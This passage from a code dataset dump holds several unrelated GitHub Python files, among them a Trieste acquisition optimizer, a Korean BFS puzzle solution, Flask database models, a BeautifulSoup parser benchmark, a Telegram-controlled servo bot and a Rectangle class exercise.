target_func: AcquisitionFunction,\n        max_batch_element: Optional[int] = None,\n        sequential_opt: bool = True,\n    ) -> TensorType:\n        \"\"\"\n        A gradient-based :const:`AcquisitionOptimizer` for :class:'Box'\n        and :class:`TaggedProductSearchSpace' spaces and batches of size of 1.\n\n        For :class:'TaggedProductSearchSpace' we only apply gradient updates to\n        its class:'Box' subspaces.\n\n        :param space: The space over which to search.\n        :param target_func: The function to maximise, with input shape [..., 1, D] and output shape\n                [..., 1].\n        :return: The **one** point in ``space`` that maximises ``target_func``, with shape [1, D].\n        \"\"\"\n\n        trial_search_space = space.sample(num_initial_samples)  # [num_initial_samples, D]\n        # target_func_values = target_func(trial_search_space[:, None, :])  # [num_samples, 1]\n        if max_batch_element is not None:\n            splited_test_data = tf.split(\n                trial_search_space[:, None, :],\n                trial_search_space[:, None, :].shape[0] // max_batch_element,\n            )\n            splited_test_data = tf.concat([data[None] for data in splited_test_data], axis=0)\n            target_func_values = []\n            for splited_data in splited_test_data:\n                target_func_values.append(target_func(splited_data))\n            target_func_values = tf.concat(target_func_values, 0)\n        else:\n            target_func_values = target_func(trial_search_space[:, None, :])  # [num_samples, 1]\n\n        _, top_k_indicies = tf.math.top_k(\n            target_func_values[:, 0], k=num_optimization_runs\n        )  # [num_optimization_runs]\n        initial_points = tf.gather(trial_search_space, top_k_indicies)  # [num_optimization_runs, D]\n\n        if sequential_opt:\n            variable = tf.Variable(initial_points[0:1])  # [1, D]\n            optimizer_args_local = copy.deepcopy(optimizer_args)\n\n            def _objective() -> TensorType:\n                return -target_func(variable[:, None, :])  # [1]\n\n            def _perform_optimization(\n                starting_point: TensorType,\n                optimizer_args: dict[str, Any],\n            ) -> OptimizeResult:\n                variable.assign(starting_point)  # [1, D]\n                return gpflow.optimizers.Scipy().minimize(_objective, (variable,), **optimizer_args)\n\n            successful_optimization = False\n            chosen_point = variable  # [1, D]\n            chosen_point_score = target_func(chosen_point[:, None, :])  # [1, 1]\n\n            for i in tf.range(\n                num_optimization_runs\n            ):  # perform optimization for each chosen starting point\n                # print(f'restart opt at {i}')\n                if isinstance(space, TaggedProductSearchSpace):\n                    bounds = get_bounds_of_box_relaxation_around_point(\n                        space, initial_points[i : i + 1]\n                    )\n                else:\n                    bounds = spo.Bounds(space.lower, space.upper)\n                optimizer_args_local[\"bounds\"] = bounds\n                opt_result = _perform_optimization(initial_points[i : i + 1], optimizer_args_local)\n                if opt_result.success:\n                    successful_optimization = True\n\n                    new_point = variable  # [1, D]\n                    new_point_score = -opt_result.fun  # [1, 1]\n\n                    if new_point_score > chosen_point_score:  # if found a better point then keep\n                        chosen_point = new_point  # [1, D]\n                        chosen_point_score = new_point_score  # [1, 1]\n\n                if (\n                    not successful_optimization\n                ):  # if all optimizations failed then try from random start\n                    for i in tf.range(num_recovery_runs):\n                        random_start = space.sample(1)\n                        if isinstance(space, TaggedProductSearchSpace):\n                            bounds = get_bounds_of_box_relaxation_around_point(space, random_start)\n                        else:\n                            bounds = spo.Bounds(space.lower, space.upper)\n                        optimizer_args_local[\"bounds\"] = bounds\n                        opt_result = _perform_optimization(random_start, optimizer_args_local)\n                        if opt_result.success:\n                            chosen_point = variable  # [1, D]\n                            successful_optimization = True\n                            break\n                    if not successful_optimization:  # return error if still failed\n                        raise FailedOptimizationError(\n                            f\"\"\"\n                            Acquisition function optimization failed,\n                            even after {num_recovery_runs + num_optimization_runs} restarts.\n                            \"\"\"\n                        )\n        else:\n\n            results = _perform_parallel_continuous_optimization(\n                target_func,\n                space,\n                initial_points,\n                optimizer_args,\n            )\n            successful_optimization = np.any(\n                [result.success for result in results]\n            )  # Check that at least one optimization was successful\n\n            if (\n                not successful_optimization\n            ):  # if all optimizations failed then try from random starts\n                random_points = space.sample(num_recovery_runs)  # [num_recovery_runs, D]\n                results = _perform_parallel_continuous_optimization(\n                    target_func, space, random_points, optimizer_args\n                )\n                successful_optimization = np.any([result.success for result in results])\n\n                if not successful_optimization:  # return error if still failed\n                    raise FailedOptimizationError(\n                        f\"\"\"\n                        Acquisition function optimization failed,\n                        even after {num_recovery_runs + num_optimization_runs} restarts.\n                        \"\"\"\n                    )\n\n            best_run_id = np.argmax([-result.fun for result in results])  # identify best solution\n            np_chosen_point = results[best_run_id].x.reshape(1, -1)  # [1, D]\n            chosen_point = tf.constant(np_chosen_point, dtype=initial_points.dtype)  # convert to TF\n\n        return chosen_point\n\n    return optimize_continuous\n\n\ndef _perform_parallel_continuous_optimization(\n    target_func: AcquisitionFunction,\n    space: SearchSpace,\n    starting_points: TensorType,\n    optimizer_args: dict[str, Any],\n) -> List[spo.OptimizeResult]:\n    \"\"\"\n    A function to perform parallel optimization of our acquisition functions\n    using Scipy. We perform L-BFGS-B starting from each of the locations contained\n    in `starting_points`, i.e. the number of individual optimization runs is\n    given by the leading dimension of `starting_points`.\n\n    To provide a parallel implementation of Scipy's L-BFGS-B that can leverage\n    batch calculations with TensorFlow, this function uses the Greenlet package\n    to run each individual optimization on micro-threads.\n\n    L-BFGS-B updates for each individual optimization are performed by\n    independent greenlets working with Numpy arrays, however, the evaluation\n    of our acquisition function (and its gradients) is calculated in parallel\n    (for each optimization step) using Tensorflow.\n\n    For :class:'TaggedProductSearchSpace' we only apply gradient updates to\n    its :class:'Box' subspaces, fixing the discrete elements to the best values\n    found across the initial random search. To fix these discrete elements, we\n    optimize over a continuous :class:'Box' relaxation of the discrete subspaces\n    which has equal upper and lower bounds, i.e. we specify an equality constraint\n    for this dimension in the scipy optimizer.\n\n    :param target_func: The function to maximise, with input shape [..., 1, D] and\n        output shape [..., 1].\n    :param space: The original search space.\n    :param starting_points: The points at which to begin our optimizations. The\n        leading dimension of `starting_points` controls the number of individual\n        optimization runs.\n    :param optimizer_args: Keyword arguments to pass to the Scipy optimizer.\n    :return: A list containing a Scipy OptimizeResult object for each optimization.\n    \"\"\"\n\n    tf_dtype = starting_points.dtype  # type for communication with Trieste\n\n    num_optimization_runs = tf.shape(starting_points)[0].numpy()\n\n    def _objective_value(x: TensorType) -> TensorType:\n        return -target_func(tf.expand_dims(x, 1))  # [len(x),1]\n\n    def _objective_value_and_gradient(x: TensorType) -> Tuple[TensorType, TensorType]:\n        return tfp.math.value_and_gradient(_objective_value, x)  # [len(x), 1], [len(x), D]\n\n    if isinstance(\n        space, TaggedProductSearchSpace\n    ):  # build continuous relaxation of discrete subspaces\n        bounds = [\n            get_bounds_of_box_relaxation_around_point(space, starting_points[i : i + 1])\n            for i in tf.range(num_optimization_runs)\n        ]\n    else:\n        bounds = [spo.Bounds(space.lower, space.upper)] * num_optimization_runs\n\n    # Initialize the numpy arrays to be passed to the greenlets\n    np_batch_x = np.zeros((num_optimization_runs, tf.shape(starting_points)[1]), dtype=np.float64)\n    np_batch_y = np.zeros((num_optimization_runs,), dtype=np.float64)\n    np_batch_dy_dx = np.zeros(\n        (num_optimization_runs, tf.shape(starting_points)[1]), dtype=np.float64\n    )\n\n    # Set up child greenlets\n    child_greenlets = [ScipyLbfgsBGreenlet() for _ in range(num_optimization_runs)]\n    child_results: List[Union[spo.OptimizeResult, np.ndarray]] = [\n        gr.switch(starting_points[i].numpy(), bounds[i], optimizer_args)\n        for i, gr in enumerate(child_greenlets)\n    ]\n\n    while True:\n        all_done = True\n        for i, result in enumerate(child_results):  # Process results from children.\n            if isinstance(result, spo.OptimizeResult):\n                continue  # children return a `spo.OptimizeResult` if they are finished\n            all_done = False\n            assert isinstance(result, np.ndarray)  # or an `np.ndarray` with the query `x` otherwise\n            np_batch_x[i, :] = result\n\n        if all_done:\n            break\n\n        # Batch evaluate query `x`s from all children.\n        batch_x = tf.constant(np_batch_x, dtype=tf_dtype)  # [num_optimization_runs, d]\n        batch_y, batch_dy_dx = _objective_value_and_gradient(batch_x)\n        np_batch_y = batch_y.numpy().astype(\"float64\")\n        np_batch_dy_dx = batch_dy_dx.numpy().astype(\"float64\")\n\n        for i, greenlet in enumerate(child_greenlets):  # Feed `y` and `dy_dx` back to children.\n            if greenlet.dead:  # Allow for crashed greenlets\n                continue\n            child_results[i] = greenlet.switch(np_batch_y[i], np_batch_dy_dx[i, :])\n\n    return child_results\n\n\nclass ScipyLbfgsBGreenlet(gr.greenlet):\n    \"\"\"\n    Worker greenlet that runs a single Scipy L-BFGS-B. Each greenlet performs all the L-BFGS-B\n    update steps required for an individual optimization. However, the evaluation\n    of our acquisition function (and its gradients) is delegated back to the main Tensorflow\n    process (the parent greenlet) where evaluations can be made efficiently in parallel.\n    \"\"\"\n\n    def run(\n        self, start: np.ndarray, bounds: spo.Bounds, optimizer_args: dict[str, Any] = dict()\n    ) -> spo.OptimizeResult:\n        cache_x = start + 1  # Any value different from `start`.\n        cache_y: Optional[np.ndarray] = None\n        cache_dy_dx: Optional[np.ndarray] = None\n\n        def value_and_gradient(\n            x: np.ndarray,\n        ) -> Tuple[np.ndarray, np.ndarray]:  # Collect function evaluations from parent greenlet\n            nonlocal cache_x\n            nonlocal cache_y\n            nonlocal cache_dy_dx\n\n            if not (cache_x == x).all():\n                cache_x[:] = x  # Copy the value of `x`. DO NOT copy the reference.\n                # Send `x` to parent greenlet, which will evaluate all `x`s in a batch.\n                cache_y, cache_dy_dx = self.parent.switch(cache_x)\n\n            return cache_y, cache_dy_dx\n\n        return spo.minimize(\n            lambda x: value_and_gradient(x)[0],\n            start,\n            jac=lambda x: value_and_gradient(x)[1],\n            method=\"l-bfgs-b\",\n            bounds=bounds,\n            **optimizer_args,\n        )\n\n\ndef get_bounds_of_box_relaxation_around_point(\n    space: TaggedProductSearchSpace, current_point: TensorType\n) -> spo.Bounds:\n    \"\"\"\n    A function to return the bounds of a continuous relaxation of\n    a :class:'TaggedProductSearchSpace' space, i.e. replacing discrete\n    spaces with continuous spaces. In particular, all :class:'DiscreteSearchSpace'\n    subspaces are replaced with a new :class:'DiscreteSearchSpace' fixed at their\n    respective component of the specified 'current_point'. Note that\n    all :class:'Box' subspaces remain the same.\n\n    :param space: The original search space.\n    :param current_point: The point at which to make the continuous relaxation.\n    :return: Bounds for the Scipy optimizer.\n    \"\"\"\n    tf.debugging.Assert(isinstance(space, TaggedProductSearchSpace), [])\n\n    space_with_fixed_discrete = space\n    for tag in space.subspace_tags:\n        if isinstance(\n            space.get_subspace(tag), DiscreteSearchSpace\n        ):  # convert discrete subspaces to box spaces.\n            subspace_value = space.get_subspace_component(tag, current_point)\n            space_with_fixed_discrete = space_with_fixed_discrete.fix_subspace(tag, subspace_value)\n    return spo.Bounds(space_with_fixed_discrete.lower, space_with_fixed_discrete.upper)\n\n\ndef batchify(\n    batch_size_one_optimizer: AcquisitionOptimizer[SP],\n    batch_size: int,\n) -> AcquisitionOptimizer[SP]:\n    \"\"\"\n    A wrapper around our :const:`AcquisitionOptimizer`s. This class wraps a\n    :const:`AcquisitionOptimizer` to allow it to optimize batch acquisition functions.\n\n    :param batch_size_one_optimizer: An optimizer that returns only batch size one, i.e. produces a\n            single point with shape [1, D].\n    :param batch_size: The number of points in the batch.\n    :return: An :const:`AcquisitionOptimizer` that will provide a batch of points with shape [B, D].\n    \"\"\"\n    if batch_size <= 0:\n        raise ValueError(f\"batch_size must be positive, got {batch_size}\")\n\n    def optimizer(\n        search_space: SP, f: AcquisitionFunction, **kwargs_for_size_one_optimizer\n    ) -> TensorType:\n        expanded_search_space = search_space ** batch_size  # points have shape [B * D]\n\n        def target_func_with_vectorized_inputs(\n            x: TensorType,\n        ) -> TensorType:  # [..., 1, B * D] -> [..., 1]\n            return f(tf.reshape(x, x.shape[:-2].as_list() + [batch_size, -1]))\n\n        vectorized_points = batch_size_one_optimizer(  # [1, B * D]\n            expanded_search_space,\n            target_func_with_vectorized_inputs,\n            **kwargs_for_size_one_optimizer,\n        )\n        return tf.reshape(vectorized_points, [batch_size, -1])  # [B, D]\n\n    return optimizer\n\n\ndef generate_random_search_optimizer(\n    num_samples: int = NUM_SAMPLES_MIN,\n) -> AcquisitionOptimizer[SP]:\n    \"\"\"\n    Generate an acquisition optimizer that samples `num_samples` random points across the space.\n    The default is to sample at `NUM_SAMPLES_MIN` locations.\n\n    We advise the user to either use the default `NUM_SAMPLES_MIN` for `num_samples`, or\n    `NUM_SAMPLES_DIM` times the dimensionality of the search space, whichever is smaller.\n\n    :param num_samples: The number of random points to sample.\n    :return: The acquisition optimizer.\n    \"\"\"\n    if num_samples <= 0:\n        raise ValueError(f\"num_samples must be positive, got {num_samples}\")\n\n    def optimize_random(space: SP, target_func: AcquisitionFunction) -> TensorType:\n        \"\"\"\n        A random search :const:`AcquisitionOptimizer` defined for\n        any :class:'SearchSpace' with a :meth:`sample` and for batches of size of 1.\n        If we have a :class:'DiscreteSearchSpace' with fewer than `num_samples` points,\n        then we query all the points in the space.\n\n        :param space: The space over which to search.\n        :param target_func: The function to maximise, with input shape [..., 1, D] and output shape\n                [..., 1].\n        :return: The **one** point in ``space`` that maximises ``target_func``, with shape [1, D].\n        \"\"\"\n        samples = space.sample(num_samples)\n        target_func_values = target_func(samples[:, None, :])\n        max_value_idx = tf.argmax(target_func_values, axis=0)\n        return tf.gather(samples, max_value_idx)\n\n    return optimize_random\n","repo_name":"TsingQAQ/gp_mean_var_rbo","sub_path":"trieste/acquisition/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":24368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"44592006260","text":"from collections import deque\n\n# bfs 함수 : 익힐 수 있는 토마토를 모조리 익히는 함수\ndef bfs():\n    # 익은 토마토 기준 오른쪽 -> 아래 -> 왼쪽 -> 위로 움직일 델타\n    di = [0, 1, 0, -1]\n    dj = [1, 0, -1, 0]\n\n    while red_tomato:\n        # 익은 토마토 위치\n        y,x = red_tomato.popleft()\n        # 익을 토마토 찾기\n        for i in range(4):\n            dy = y + di[i]\n            dx = x + dj[i]\n            # 상자안에서 안익은토마토인 경우\n            if 0<=dy<N and 0<=dx<M and (not tomato_arr[dy][dx]):\n                # 처음에는 cnt를 사용하려고 했으나 어디에 사용해야할지 몰라서 아래 방법을 택함.\n                # 해당 위치의 토마토를 익혔다는 표시로 이전 토마토의 값에 1을 더해준다.\n                tomato_arr[dy][dx] = tomato_arr[y][x] + 1\n                red_tomato.append([dy,dx])\n\n# 상자의 가로,세로\nM,N = map(int,input().split())\n\n# 토마토상자\ntomato_arr = [list(map(int,input().split())) for _ in range(N)]\n\n# 익은 토마토 위치\nred_tomato = deque([])\n\n# 익은 토마토 위치 찾기\nfor i in range(N):\n    for j in range(M):\n        # 익은 토마토는 1로 입력됨\n        if tomato_arr[i][j] == 1:\n            red_tomato.append([i,j])\n\n# 함수 호출\nbfs()\n\ncnt = 0\n# 상자안에 토마토가 다 익었나 확인\nfor i in tomato_arr:\n    # 안익은 토마토가 있으면 0 : 왜냐하면 마지막에서 -1 해줘야함. 이유는 아래에서\n    if 0 in i:\n        cnt = 0\n        break\n    # 여기에서 처음부터 다익은토마토인 경우는 cnt가 1이된다.\n    else:\n        cnt = max(cnt,max(i))\n\n# -1을 하는 이유 : 값을 더할때 첫날 익어있는 토마토부터 1로 더해져서 최대로 오래걸린 기간에서 -1을 해줘야 총기간이 된다.\nprint(cnt-1)","repo_name":"ssomm-k/TIL","sub_path":"Algorithm/Baekjoon/7576_토마토.py","file_name":"7576_토마토.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8020523024","text":"#!/usr/bin/env python3\nimport random,time, subprocess\noutput='Hello, World!' #Place output here\nseed=0          #Starting seed. Modify if running multiple in parallel\n\nchars=''.join(map(chr,range(32,127)))+'\\n'\nprog,n='',-1\n\nprint(\"Brute-forcing seed...\")\n\nseconds=time.clock()\nwhile True:\n    n+=1\n    print(n)\n    random.seed(n)\n    prog = ''\n    t = 0\n    while len(prog) < 500: # maximum length of program; can be changed\n        t += 1\n        prog += chars[int(random.random()*96)]\n        if ',' not in prog or any([x in prog for x in '.&~'+''.join(map(chr,range(65,65+26)))]):\n            continue\n        print(prog)\n        try:\n            with open('seed.bf98','w') as f:\n                f.write(prog)\n            res = subprocess.check_output(['pyfunge','-v','98','-F','seed.bf98'], timeout=1, universal_newlines=True)\n            if len(res) > 0 and not output.startswith(res):\n                break\n            else:\n                done()\n        except:\n            continue\n\ndef done():\n    print()\n    seconds=time.clock()-seconds\n    print('Found seed for \"{0}\"!\\nSeed program:\\n{1} {2}'.format(prog,length,seed))\n    print(\"Time elapsed: {0} seconds. Tries per second:{1}\".format(seconds,int(n/seconds)))\n    exit()\n","repo_name":"Mego/Seed","sub_path":"seedfind.py","file_name":"seedfind.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33913061439","text":"# -*- coding: utf-8 -*-\n\nfrom flask import jsonify\nimport datetime\nfrom . import db\n\n\nclass InternshipNews(db.Model):\n    __tablename__ = 'internship_news'\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n    source = db.Column(db.String(256), default='other')\n    origin_id = db.Column(db.String(128), default='')\n    title = db.Column(db.String(256), default='')\n    url = db.Column(db.String(512), nullable=False)\n    fetch_time = db.Column(db.DateTime, default=datetime.datetime.now())\n    publish_time = db.Column(db.DateTime, nullable=True)\n    company = db.Column(db.String(128), default='')\n    address = db.Column(db.String(128), default='')\n\n    @classmethod\n    def add(cls, news):\n        existed_news = cls.query.filter(cls.source == news.source).filter(cls.origin_id == news.origin_id).all()\n        if len(existed_news) > 0:\n            return\n        news.fetch_time = datetime.datetime.now()\n        try:\n            db.session.add(news)\n            db.session.commit()\n        except:\n            print('failed...')\n            db.session.rollback()\n\n    @classmethod\n    def get_today(cls):\n        today = datetime.datetime.combine(datetime.date.today(), datetime.time.min)\n        today_news = cls.query.filter(cls.fetch_time >= today).limit(7).all()\n        return today_news\n\n    @classmethod\n    def get_ystd(cls):\n        today = datetime.datetime.combine(datetime.date.today(), datetime.time.min)\n        yesterday = today - datetime.timedelta(days=1)\n        ystd_news = cls.query.filter(cls.fetch_time >= yesterday).filter(cls.fetch_time < today).limit(7).all()\n        return ystd_news\n\n    @classmethod\n    def get_latest(cls, n=7):\n        latest_news = cls.query.order_by(cls.fetch_time.desc()).limit(n).all()\n        return latest_news\n\n    @classmethod\n    def get_by_source(cls, source):\n        news = cls.query.filter(cls.source == source).order_by(cls.publish_time.desc()).limit(7).all()\n        return news\n\n    @classmethod\n    def get_by_address(cls, address):\n        news = cls.query.filter(cls.address.like('%'+address+'%')).order_by(cls.publish_time.desc()).limit(7).all()\n        return news\n\n    @classmethod\n    def get_by_company(cls, company):\n        news = cls.query.filter(cls.company.like('%'+company+'%')).order_by(cls.publish_time.desc()).limit(7).all()\n        return news\n\n    @classmethod\n    def get_all(cls):\n        all_news = cls.query.all()\n        return all_news\n\n    @classmethod\n    def to_text(cls, news_list):\n        if not news_list:\n            return '暂时还没有消息呢，等会儿吧~'\n        text = '--------------------------\\n'.join([news.to_text_single() for news in news_list])\n        return text\n\n    def to_text_single(self):\n        text = ''\n        if self.source == 'v2ex':\n            text = \"\"\"【{source}】{title}\\n{url}\\n\"\"\".format(source=self.source, title=self.title, url=self.url)\n        elif self.source == '牛客网':\n            text = \"\"\"【{source}】{title}\\n※{address}※  {publish_time}\\n{url}\\n\"\"\".format(source=self.source, title=self.title, url=self.url, address=self.address, publish_time=self.publish_time.date())\n        elif self.source == '小百合':\n            text = \"\"\"【{source}】{title}\\n=== {publish_time} ===\\n{url}\\n\"\"\".format(source=self.source, title=self.title, url=self.url, publish_time=self.publish_time.date())\n        return text\n\n    def to_dict(self):\n        dict_data = {\n            'id': self.id,\n            'source': self.source,\n            'origin_id': self.origin_id,\n            'title': self.title,\n            'url': self.url,\n            'fetch_time': self.fetch_time,\n            'publish_time': self.publish_time,\n            'company': self.company,\n            'address': self.address\n        }\n        return dict_data\n\n\nclass Feedback(db.Model):\n    __tablename__ = 'feedback'\n    id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n    source = db.Column(db.String(128), nullable=False)\n    content = db.Column(db.String(512), nullable=False)\n    created_at = db.Column(db.DateTime, default=datetime.datetime.now())\n\n    @classmethod\n    def add(cls, feedback):\n        try:\n            db.session.add(feedback)\n            db.session.commit()\n        except:\n            db.session.rollback()\n\n","repo_name":"Aneureka/webox","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"22137150658","text":"from configparser import ConfigParser\n\ndef config(filename='database.ini', section='postgresql'):\n    parser = ConfigParser()\n    parser.read(filename)\n    db = {}\n    if parser.has_section(section):\n        params = parser.items(section)\n        for p in params:\n            db[p[0]] = p[1]\n    else:\n        raise Exception('Section {0} not found in {1} file'.format(section, filename))\n    return db\n","repo_name":"m7jay/ContactBook","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36100814325","text":"with open('./inputs/day2.txt', 'r') as f:\n  inputs = f.readline().split(',')\n\nfor i in range(len(inputs)): \n  inputs[i] = int(inputs[i])\n\ninputs[1] = 12\ninputs[2] = 2\n\nfor i in range(0, len(inputs), 4): \n  op, pos1, pos2, posResult = inputs[i:i+4]\n  if op == 99: break\n  if op == 1: \n    inputs[posResult] = inputs[pos1] + inputs[pos2]\n  if op == 2: \n    inputs[posResult] = inputs[pos1] * inputs[pos2]\n\nprint(inputs)\n","repo_name":"DaveTrost/advent-of-code","sub_path":"challenges/day2-part1.py","file_name":"day2-part1.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5251735609","text":"# parser_.py\nfrom bs4 import BeautifulSoup\nimport time\n\n# < lxml >\n# lxml parser 는 c 언어로 구현되어 있기 때문에 가장 빠르다.\n# XML 도 처리 가능하지만, c 언어로 구현되어 있기 때문에 c 언어에 의존적이다.\n\n# 1\nhtml = \"\"\"<p>test</p>\"\"\"\n\nsoup = BeautifulSoup(html, 'lxml')\nprint('lxml #1 : ', soup)\n\n# 2\nhtml = \"\"\"<html><p>test</p></html>\"\"\"\nsoup = BeautifulSoup(html, 'lxml')\nprint('lxml #2-1 : ', soup)\n\nhtml = \"\"\"<body><p>test</p></body>\"\"\"\nsoup = BeautifulSoup(html, 'lxml')\nprint('lxml #2-2 : ', soup)\n\n'''\n# < html5lib >\n# html5lib parser 는 web browser 형태로 HTML 을 분석하고 관리한다.\n# python 으로 구현되어 있기 때문에 lxml 처럼 c 언어에 의존적이지 않지만, c 언어로 구현된 lxml 보다 느리다.\n\n# 1\nhtml = \"\"\"<p>test</p>\"\"\"\n\nsoup = BeautifulSoup(html, 'html5lib')\nprint('html5lib #1 : ', soup)\n\n# 2\nhtml = \"\"\"<html><body><p>test</p></body></html>\"\"\"\nsoup = BeautifulSoup(html, 'html5lib')\nprint('html5lib #2-1 : ', soup)\n\nhtml = \"\"\"<html><head></head><p>test</p></html>\"\"\"\nsoup = BeautifulSoup(html, 'html5lib')\nprint('html5lib #2-2 : ', soup)\n\nhtml = \"\"\"<head></head><p>test</p>\"\"\"\nsoup = BeautifulSoup(html, 'html5lib')\nprint('html5lib #2-3 : ', soup)\n'''\n\n# < lxml VS html5lib >\n# speed gap\n\n# 1\n# import time\nhtml = \"\"\"<html><head></head><p>test</p></html>\"\"\"\n\nstart_time = time.time()\nBeautifulSoup(html, 'lxml')\nlxml_end_time = time.time() - start_time\n\nstart_time = time.time()\nBeautifulSoup(html, 'html5lib')\nhtml5lib_end_time = time.time() - start_time\n\nprint('lxml VS html5lib #1-1 : ', 'lxml 시간 측정 : %f' % lxml_end_time)\nprint('lxml VS html5lib #1-2 : ', 'html5lib 시간 측정 : %f' % html5lib_end_time)\nprint('lxml VS html5lib #1-3 : ', html5lib_end_time/lxml_end_time)\n\n# 2\nhtml = \"\"\"<html><head></head><p>test</p></html>\"\"\"\n\ntime_sum = 0\nloop_count = 5\nj = 1\n\nfor i in range(0, loop_count):\n\n    start_time = time.time()\n    BeautifulSoup(html, 'lxml')\n    lxml_end_time = time.time() - start_time\n\n    start_time = time.time()\n    BeautifulSoup(html, 'html5lib')\n    html5lib_end_time = time.time() - start_time\n\n    rate = html5lib_end_time / lxml_end_time\n\n    print('lxml VS html5lib #2-%d : ' % j, \"%d 번째 시도\" % i)\n    print('lxml VS html5lib #2-%d : ' % (j+1), 'lxml 시간측정 : %f' % lxml_end_time)\n    print('lxml VS html5lib #2-%d : ' % (j+2), 'html5lib 시간측정 : %f' % html5lib_end_time)\n    print('lxml VS html5lib #2-%d : ' % (j+3), '**', rate, '**\\n')\n    time_sum += rate\n    j += 4\n\naverage = time_sum / loop_count\nprint('lxml VS html5lib #1-%d : ' % j, 'average time : %f' % average)\n\n# Parser 를 잘못 넣으면 에러가 발생합니다.\n# 없는 Parser 를 넣거나, 오타 등의 이유로 잘못 타이핑했다면, 해당 파서를 찾을 수 없다고 에러 메시지를 띄워줍니다.","repo_name":"Jinlock9/study-web-crawler","sub_path":"bs4_test/parsers_.py","file_name":"parsers_.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2163459498","text":"#! /usr/bin/env python3\n\nfrom telepot.loop import MessageLoop\nfrom stub_rpi import GPIO\n# import RPi.GPIO as GPIO\nimport time, datetime\nimport telepot\n\n\n\nclass Bot:\n    def __init__(self):\n        self.now = datetime.datetime.now()\n        print(self.now)\n\n        import telegram_auth\n        self.token = telegram_auth.token\n\n        GPIO.setmode(GPIO.BCM)\n        GPIO.setup(17, GPIO.OUT)\n        self.pwm = GPIO.PWM(17, 50) # GPIO 17 for PWM with 50Hz\n\n    def action(self, msg):\n        chat_id = msg['chat']['id']\n        command = msg['text']\n\n        print(self.now)\n\n        print('Received: {}'.format(command))\n\n        if command == 'abrir':\n            telegram_bot.sendMessage (chat_id, str(\"Abrindo\"))\n            self.pwm.start(3.5) # Initialization\n            #p.ChangeDutyCycle(4.5)    #Enviamos uma pressão de 4.5% para rodar o servo para a esquerda\n        elif command == 'fechar':\n            telegram_bot.sendMessage (chat_id, str(\"fechando\"))\n            self.pwm.ChangeDutyCycle(11.5)   #Enviamos uma pressão de 10.5% para rodar o servo para a direita\n        elif command == 'centralizar':\n            telegram_bot.sendMessage (chat_id, str(\"centralizando\"))\n            self.pwm.ChangeDutyCycle(7.5)    #Enviamos uma pressão de 7.5% para centrar o servo de novo\n        elif command == 'desligar':\n            telegram_bot.sendMessage (chat_id, str(\"desligando\"))\n            self.pwm.stop()\n\n    def run(self):\n        telegram_bot = telepot.Bot(str(\"\\'{}\\'\".format(self.token)))\n        print (telegram_bot.getMe())\n\n        MessageLoop(telegram_bot, self.action).run_as_thread()\n        print ('Rodando...')\n\n        while 1:\n            time.sleep(10)\n\nprint('INIT')\nbot = Bot()\nbot.run()\n","repo_name":"williamcaesar/Lixeira-eletronica","sub_path":"servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71311938569","text":"#!/usr/bin/python3\n\"\"\" Class Rectangle that inherits from the base. \"\"\"\n\nfrom models.base import Base\n\n\nclass Rectangle(Base):\n    \"\"\"Rectangle class that inherits from Base\"\"\"\n    \"\"\"\n    A class that defines a rectangle that inherits\n\n    Attributes:\n        width (int): The width of the rectangle.\n        height (int): The height of the rectangle.\n    \"\"\"\n\n    def __init__(self, width, height, x=0, y=0, id=None):\n        \"\"\"Initialize Rectangle instance\"\"\"\n        super().__init__(id)\n        self.width = width\n        self.height = height\n        self.x = x\n        self.y = y\n\n    @property\n    def width(self):\n        \"\"\"Getter for width attribute\"\"\"\n        return self.__width\n\n    @width.setter\n    def width(self, value):\n        \"\"\"Setter for width atribute\"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"width must be an integer\")\n        if value <= 0:\n            raise ValueError(\"width must be > 0\")\n        self.__width = value\n\n    @property\n    def height(self):\n        \"\"\"Getter for height attribute\"\"\"\n        return self.__height\n\n    @height.setter\n    def height(self, value):\n        \"\"\"Setter for height attribute\"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"height must be an integer\")\n        if value <= 0:\n            raise ValueError(\"height must be > 0\")\n        self.__height = value\n\n    @property\n    def x(self):\n        \"\"\"Getter for x attribute\"\"\"\n        return self.__x\n\n    @x.setter\n    def x(self, value):\n        \"\"\"Setter for x attribute\"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"x must be an integer\")\n        if value < 0:\n            raise ValueError(\"x must be >= 0\")\n        self.__x = value\n\n    @property\n    def y(self):\n        \"\"\"Getter for y attribute\"\"\"\n        return self.__y\n\n    @y.setter\n    def y(self, value):\n        \"\"\"Setter for y attribute with validation\"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"y must be an integer\")\n        if value < 0:\n            raise ValueError(\"y must be >= 0\")\n        self.__y = value\n\n    def area(self):\n        \"\"\"Calculates and return the area of the rectangle\"\"\"\n        return self.width * self.height\n\n    def display(self):\n        \"\"\"Display the Rectangle with '#' characters\n            considering x and y offsets\n        \"\"\"\n        for _ in range(self.y):\n            print()\n        for _ in range(self.height):\n            print(\" \" * self.x + \"#\" * self.width)\n\n    def __str__(self):\n        \"\"\"Override the string representation of the Rectangle\"\"\"\n        return f\"[Rectangle] ({self.id}) {self.x}/{self.y} - \" \\\n               